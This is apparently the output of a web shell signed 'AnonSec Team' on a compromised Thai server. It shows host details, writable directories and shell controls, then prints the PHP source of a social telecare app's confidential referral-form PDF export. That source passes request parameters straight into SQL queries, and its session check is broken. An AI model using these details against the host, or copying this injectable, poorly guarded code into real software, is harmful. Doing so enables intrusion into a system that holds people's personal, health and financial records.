NG1NDEX
Server IP : 150.95.80.236  /  Your IP : 3.15.228.55
Web Server : Apache
System : Linux host-150-95-80-236 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : social-telecare ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/pcu.in.th/sc.pcu.in.th/export_pdf/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/vhosts/pcu.in.th/sc.pcu.in.th/export_pdf/ex_pdf_fwsi.php
<?php
// require('fpdf.php');
require('mc_table.php');
include("../connect.php");
include("../function.php");
header('X-Robots-Tag: noindex, nofollow');
session_start();

if (isset($_SESSION['sess_id']) <> session_id()) {
	echo "<script>window.location.replace('../signin.php');</script>";
}

class PDF extends PDF_MC_Table
{

    function Header()
    {
        $this->Image('../assets/logo/SOCIAL TELECARE (Logo 2).png', 10, 5, 25, 0);

        $this->AddFont('THSarabunPSK', '', 'THSarabun.php');
        $this->AddFont('THSarabunPSK', 'b', 'THSarabun Bold.php'); //หนา
        $this->SetFont('THSarabunPSK', 'b', 18);

        $this->MultiCell(0, 6, iconv('UTF-8', 'cp874', 'ลับ'), 0, 'C');
        $this->SetFont('THSarabunPSK', 'b', 16);
        $this->Cell(0, 6, iconv('UTF-8', 'cp874', 'แบบฟอร์มการส่งต่อข้อมูลทางสังคม'), 0, false, 'C');

        $this->Ln();
        $this->Ln();
    }

    function Footer()
    {
        // Position at 1.5 cm from bottom
        $this->SetY(-15);
        // Arial italic 8
        $this->AddFont('THSarabunPSK', '', 'THSarabun.php');
        $this->SetFont('THSarabunPSK', '', 8);
        // Page number
        $this->Cell(0, 10, $this->PageNo() . '/{nb}', 0, 0, 'C');
    }
}


$pdf = new PDF('P', 'mm', 'A4');
$pdf->AddPage();
$pdf->AliasNbPages();
$pdf->SetTitle("(Social information forwarding form) ");
$pdf->AddFont('THSarabunPSK', '', 'THSarabun.php');
$pdf->AddFont('THSarabunPSK', 'b', 'THSarabun Bold.php'); //หนา




$query_form = $conn->query("SELECT form_fwsi.* , amphures.name_th AS amphure,districts.name_th AS tombol, provinces.name_th AS province 
        FROM form_fwsi 
        LEFT JOIN districts ON districts.id = form_fwsi.dom_tumbol
        LEFT JOIN amphures ON amphures.id = form_fwsi.dom_umpher
        LEFT JOIN provinces ON provinces.id = form_fwsi.dom_province
        WHERE fwsi_id = '" . $_REQUEST['fwsi_id'] . "' ");
$fet_form = $query_form->fetch_object();


$query_case = $conn->query("SELECT  case_data.*, amphures.name_th AS amphure,districts.name_th AS tombol, provinces.name_th AS province, case_confirm.case_level
        FROM  case_data 
        LEFT JOIN case_confirm ON case_confirm.case_id = case_data.user_id
        LEFT JOIN districts ON districts.id = case_data.case_tumbol
        LEFT JOIN amphures ON amphures.id = case_data.case_umpher
        LEFT JOIN provinces ON provinces.id = case_data.case_province
        WHERE case_data.user_id = '" . $fet_form->case_id . "'");
$fet_case = $query_case->fetch_object();



$doctor = $conn->query("SELECT doctor_id FROM case_confirm WHERE case_id = '" .  $_REQUEST['case_id'] . "' AND confirm_status = 1")->fetch_object()->doctor_id;
$case_id = $_REQUEST['case_id'];
$device = $_SERVER['HTTP_USER_AGENT'];
$ip = $_SERVER['REMOTE_ADDR'];


$log = $conn->query("INSERT INTO log (log_device,log_ip,case_id,lt_id,user_id,log_created) VALUE ('" . $device . "','" . $ip . "','" . $case_id . "',1,'" . $user_id . "',NOW())");
if ($log) {
    try {
        $max_log_id = $conn->query("SELECT MAX(log_id) AS max_id FROM log ")->fetch_object()->max_id;
        $log_pdf = $conn->query("INSERT INTO log_export_pdf (log_id,formd_id,lep_created) VALUE ('" . $max_log_id . "',7,NOW())");
        if (!$log_pdf) {
            throw new Exception($conn->error);
        }
    } catch (\Exception $error) {
        // error handing
    }
}

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(135, 6, iconv('UTF-8', 'cp874', 'วันที่บันทึกข้อมูล'), 0, false, 'R');
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->MultiCell(0, 6, iconv('UTF-8', 'cp874', thaidate($fet_form->do_date)), 0, 'L');


$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(0, 6, iconv('UTF-8', 'cp874', '1. ข้อมูลทั่วไป'), 0, false, 'L');
$pdf->Ln();


$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(18, 6, iconv('UTF-8', 'cp874', 'คำนำหน้า '));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(18, 6, iconv('UTF-8', 'cp874', $fet_case->case_tname), 0, false, 'C');

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(15, 6, iconv('UTF-8', 'cp874', 'ชื่อ-สกุล'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(75, 6, iconv('UTF-8', 'cp874',  $fet_case->case_name));
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', 'อายุ'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', getage($fet_case->case_bday)));
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', 'ปี'));
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', 'เพศ'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(35, 6, iconv('UTF-8', 'cp874', ($fet_case->case_sex)));
$pdf->Ln();




$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(30, 6, iconv('UTF-8', 'cp874', 'สถานภาพสมรส'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(55, 6, iconv('UTF-8', 'cp874', ($fet_case->case_marital)), 0, false, 'L');
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(35, 6, iconv('UTF-8', 'cp874', 'เลขที่บัตรประชาชน'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(35, 6, iconv('UTF-8', 'cp874', $fet_case->idcard));
$pdf->Ln();

$pdf->Cell(30, 6, iconv('UTF-8', 'cp874', 'หมายเลขโทรศัพท์'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(35, 6, iconv('UTF-8', 'cp874', $fet_case->case_tel));
$pdf->Ln();



$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(55, 6, iconv('UTF-8', 'cp874', 'ที่อยู่ปัจจุบัน/ที่ติดต่อได้บ้านเลขที่'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(20, 6, iconv('UTF-8', 'cp874', $fet_case->case_address));
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', 'หมู่'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(15, 6, iconv('UTF-8', 'cp874', $fet_case->case_moo));
$pdf->Ln();

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(20, 6, iconv('UTF-8', 'cp874', 'ชื่อชุมชน'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(40, 6, iconv('UTF-8', 'cp874', $fet_case->case_community));
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(15, 6, iconv('UTF-8', 'cp874', 'ตำบล'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(40, 6, iconv('UTF-8', 'cp874', $fet_case->tombol));
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(15, 6, iconv('UTF-8', 'cp874', 'อำเภอ'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(40, 6, iconv('UTF-8', 'cp874', $fet_case->amphure));
$pdf->Ln();


$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(20, 6, iconv('UTF-8', 'cp874', 'จังหวัด'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(40, 6, iconv('UTF-8', 'cp874', $fet_case->province));
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(25, 6, iconv('UTF-8', 'cp874', 'รหัสไปรษณีย์'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(20, 6, iconv('UTF-8', 'cp874', $fet_case->case_zipcode));
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(15, 6, iconv('UTF-8', 'cp874', 'ประเทศ'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(40, 6, iconv('UTF-8', 'cp874', $fet_case->case_country));
$pdf->Ln();




$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(55, 6, iconv('UTF-8', 'cp874', 'ที่อยู่ตามภูมิลำเนา'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(20, 6, iconv('UTF-8', 'cp874', $fet_form->dom_address));
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', 'หมู่'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(15, 6, iconv('UTF-8', 'cp874', $fet_form->dom_moo));
$pdf->Ln();

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(20, 6, iconv('UTF-8', 'cp874', 'ชื่อชุมชน'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(40, 6, iconv('UTF-8', 'cp874', $fet_form->dom_community));
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(15, 6, iconv('UTF-8', 'cp874', 'ตำบล'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(40, 6, iconv('UTF-8', 'cp874', $fet_form->tombol));
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(15, 6, iconv('UTF-8', 'cp874', 'อำเภอ'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(40, 6, iconv('UTF-8', 'cp874', $fet_form->amphure));
$pdf->Ln();


$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(20, 6, iconv('UTF-8', 'cp874', 'จังหวัด'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(40, 6, iconv('UTF-8', 'cp874', $fet_form->province));
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(25, 6, iconv('UTF-8', 'cp874', 'รหัสไปรษณีย์'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(20, 6, iconv('UTF-8', 'cp874', $fet_form->dom_zipcode));
$pdf->Ln();

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(20, 6, iconv('UTF-8', 'cp874', 'การศึกษา'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(50, 6, iconv('UTF-8', 'cp874', $fet_case->case_education));

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(20, 6, iconv('UTF-8', 'cp874', 'อาชีพ'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(15, 6, iconv('UTF-8', 'cp874', $fet_case->case_career));
$pdf->Ln();
$pdf->Ln();


$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(0, 6, iconv('UTF-8', 'cp874', '2. ข้อมูลครอบครัว'), 0, false, 'L');
$pdf->Ln();


$query_rel = $conn->query("SELECT * FROM case_relative WHERE user_id = '" . $_REQUEST['case_id'] . "' ");

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(50, 6, iconv('UTF-8', 'cp874', 'จำนวนสมาชิกในครอบครัว'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', $query_rel->num_rows));
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(20, 6, iconv('UTF-8', 'cp874', 'คน ดังนี้'));
$pdf->Ln();

$pdf->SetWidths(array(40, 25, 40, 30, 30, 30));
$pdf->SetAligns(array('C', 'C', 'C', 'C', 'C', 'C'));

$pdf->Row(array('ชื่อ – สกุล', 'ความสัมพันธ์', 'การศึกษา', 'อาชีพ', 'รายได้', 'โทร'));


while ($fet_rel = $query_rel->fetch_object()) {

    $pdf->SetAligns(array('L', 'C', 'C', 'C', 'R', 'C'));

    $pdf->Row(array($fet_rel->re_name, $fet_rel->re_relevant, $fet_rel->re_education, $fet_rel->re_job, number_format($fet_rel->re_income, 2), $fet_rel->re_phone));
}
$pdf->Ln();

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(70, 6, iconv('UTF-8', 'cp874', '2.2 ความสัมพันธ์ในครอบครัว (ความขัดแย้งในครอบครัว , ความเอื้ออาทร , ที่ปรึกษาของผู้ป่วย ฯลฯ)'));
$pdf->Ln();

$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', ''));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->MultiCell(0, 6, iconv('UTF-8', 'cp874', $fet_form->rel_family));

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(70, 6, iconv('UTF-8', 'cp874', '2.3 บทบาทของสมาชิกในครอบครัวในการตูแลผู้ป่วย (ผู้ดูแลหลัก , ผู้มีบทบาทตัดสินใจเกี่ยวกับผู้ป่วย ฯลฯ)'));
$pdf->Ln();
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', ''));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->MultiCell(0, 6, iconv('UTF-8', 'cp874', $fet_form->role_patient_family));

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(70, 6, iconv('UTF-8', 'cp874', '2.4 บทบาทของผู้ป่วยในครอบครัว (เช่น เป็นบิดา มารดา หรือญาติ)'));
$pdf->Ln();
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', ''));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->MultiCell(0, 6, iconv('UTF-8', 'cp874', $fet_form->case_role));

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(70, 6, iconv('UTF-8', 'cp874', '2.5 หน้าที่ของผู้ป่วยในครอบครัว (เช่น เป็นผู้หารายได้เข้าครอบครัว)'));
$pdf->Ln();
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', ''));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->MultiCell(0, 6, iconv('UTF-8', 'cp874', $fet_form->case_duties));
$pdf->Ln();

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(0, 6, iconv('UTF-8', 'cp874', '3. ข้อมูลเศรษฐานะ'), 0, false, 'L');
$pdf->Ln();


$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(50, 6, iconv('UTF-8', 'cp874', '3.1 รายได้ของครอบครัว'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(25, 6, iconv('UTF-8', 'cp874', number_format($fet_form->family_income, 2)));
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(50, 6, iconv('UTF-8', 'cp874', 'บาท/' . $fet_form->income_of));
$pdf->Ln();


$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(0, 6, iconv('UTF-8', 'cp874', '3.2 รายจ่ายของครอบครัว'), 0, false, 'L');
$pdf->Ln();

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', ''));
$pdf->Cell(20, 6, iconv('UTF-8', 'cp874', 'ค่าน้ำ-ไฟ'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(25, 6, iconv('UTF-8', 'cp874', number_format($fet_form->cost_wt_el, 2)));
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(15, 6, iconv('UTF-8', 'cp874', 'บาท/ด'));

$pdf->Cell(20, 6, iconv('UTF-8', 'cp874', 'ค่าอาหาร'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(25, 6, iconv('UTF-8', 'cp874', number_format($fet_form->cost_food, 2)));
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(15, 6, iconv('UTF-8', 'cp874', 'บาท/ด'));

$pdf->Cell(20, 6, iconv('UTF-8', 'cp874', 'ค่าเช่าบ้าน'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(25, 6, iconv('UTF-8', 'cp874', number_format($fet_form->cost_rent_house, 2)));
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(15, 6, iconv('UTF-8', 'cp874', 'บาท/ด'));
$pdf->Ln();

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(70, 6, iconv('UTF-8', 'cp874', '3.3 ภาระหนี้สิน (ผ่อนบ้าน , ผ่อนรถ , หนี้บัตรเครดิต ฯลฯ)'));
$pdf->Ln();
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', ''));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->MultiCell(0, 6, iconv('UTF-8', 'cp874', $fet_form->case_debt));
$pdf->Ln();

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(0, 6, iconv('UTF-8', 'cp874', '4. ข้อมูลสภาพที่อยู่อาศัย'), 0, false, 'L');
$pdf->Ln();

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(70, 6, iconv('UTF-8', 'cp874', '4.1 ลักษณะที่อยู่อาศัย (ลักษณะสิ่งปลูกสร้าง , พื้นที่ , ความเป็นเจ้าของ , สุขลักษณะ , ฯลฯ'));
$pdf->Ln();
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', ''));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->MultiCell(0, 6, iconv('UTF-8', 'cp874', $fet_form->style_house));

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(70, 6, iconv('UTF-8', 'cp874', '4.2 ความสะดวกในการเดินทาง'));
$pdf->Ln();
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', ''));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->MultiCell(0, 6, iconv('UTF-8', 'cp874', $fet_form->con_travel));
$pdf->Ln();

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(0, 6, iconv('UTF-8', 'cp874', '5. ข้อมูลสุขภาพ'), 0, false, 'L');
$pdf->Ln();

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(40, 6, iconv('UTF-8', 'cp874', '5.1 โรคอาการปัจจุบัน'), 0, false, 'L');
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(50, 6, iconv('UTF-8', 'cp874', $fet_form->now_dis), 0, false, 'L');
$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(40, 6, iconv('UTF-8', 'cp874', 'โรคประจำตัว'), 0, false, 'L');
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(50, 6, iconv('UTF-8', 'cp874', $fet_form->cong_dis), 0, false, 'L');
$pdf->Ln();

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(70, 6, iconv('UTF-8', 'cp874', '5.2 สถานพยาบาลที่รับการรักษาเป็นประจำ (ตอบใด้มากกว่า 1 แห่ง)'));
$pdf->Ln();
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', ''));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->MultiCell(0, 6, iconv('UTF-8', 'cp874', $fet_form->hos_regular));
$pdf->Ln();

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(90, 6, iconv('UTF-8', 'cp874', '5.3 สิทธิการรักษา (ระบุ ประเภทสิทธิและ รพ.ต้นสังกัด)'));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->Cell(70, 6, iconv('UTF-8', 'cp874', $fet_case->case_privilege));
$pdf->Ln();

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(70, 6, iconv('UTF-8', 'cp874', '5.4 ความร่วมมือในการตูแลสุขภาพ'));
$pdf->Ln();
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', ''));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->MultiCell(0, 6, iconv('UTF-8', 'cp874', $fet_form->health_care));

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(70, 6, iconv('UTF-8', 'cp874', '5.5 ผลกระทบของความเจ็บป่วยต่อสภาพจิตใจ'));
$pdf->Ln();
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', ''));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->MultiCell(0, 6, iconv('UTF-8', 'cp874', $fet_form->impact_mind));


$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(70, 6, iconv('UTF-8', 'cp874', '6. ทรัพยากรอื่น ๆ ที่สนับสนุนผู้ป่วย (มูลนิธิ , เครือญาติ , ผู้นำชุมชน , ผู้นำศาสนา, อื่นๆ ระบุ'));
$pdf->Ln();
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', ''));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->MultiCell(0, 6, iconv('UTF-8', 'cp874', $fet_form->other_resoure));

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(70, 6, iconv('UTF-8', 'cp874', '7. การช่วยเหลือผู้ป่วยที่ได้ดำเนินการไปแล้ว'));
$pdf->Ln();
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', ''));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->MultiCell(0, 6, iconv('UTF-8', 'cp874', $fet_form->help_case));


$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(70, 6, iconv('UTF-8', 'cp874', '8. ข้อมูลอื่น ๆ (เฉพาะด้าน)'));
$pdf->Ln();
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', ''));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->MultiCell(0, 6, iconv('UTF-8', 'cp874', $fet_form->other_data));

$pdf->SetFont('THSarabunPSK', 'b', 16);
$pdf->Cell(70, 6, iconv('UTF-8', 'cp874', '9. วัตถุประสงค์การส่งต่อ'));
$pdf->Ln();
$pdf->Cell(10, 6, iconv('UTF-8', 'cp874', ''));
$pdf->SetFont('THSarabunPSK', '', 16);
$pdf->MultiCell(0, 6, iconv('UTF-8', 'cp874', $fet_form->forwarding_purpose));

if ($fet_form->map_img != "") {
    $pdf->AddPage();
    $pos = strpos($fet_form->map_img, '.');
    $pdf->SetFont('THSarabunPSK', 'b', 16);
    $pdf->Cell(60, 6, iconv('UTF-8', 'cp874', '10. แผนที่บ้าน'));
    $pdf->Ln();

    $x = $pdf->GetX();
    $y = $pdf->GetY();
    $pdf->Image('../images/form_fwsi/' . $fet_form->map_img, $x, $y + 5, 0, 100, substr($fet_form->map_img, $pos + 1));
    $pdf->setY($y + 110);
}



$pdf->Cell(0, 6, iconv('UTF-8', 'cp874', 'ลงชื่อ'), 0, false, 'C');

$pdf->Ln();
$pdf->Ln();

$pdf->Cell(0, 6, iconv('UTF-8', 'cp874', '...........................................................'), 0, false, 'C');


$pdf->Ln();

$pdf->Cell(0, 6, iconv('UTF-8', 'cp874', $_SESSION['user_fname'] . " " . $_SESSION['user_lname']), 0, false, 'C');

$pdf->Ln();

$pdf->Cell(0, 6, iconv('UTF-8', 'cp874', 'สังกัด ' . $fet_form->doctor_affiliation), 0, false, 'C');

$pdf->Ln();


$pdf->Output();

Anon7 - 2022
AnonSec Team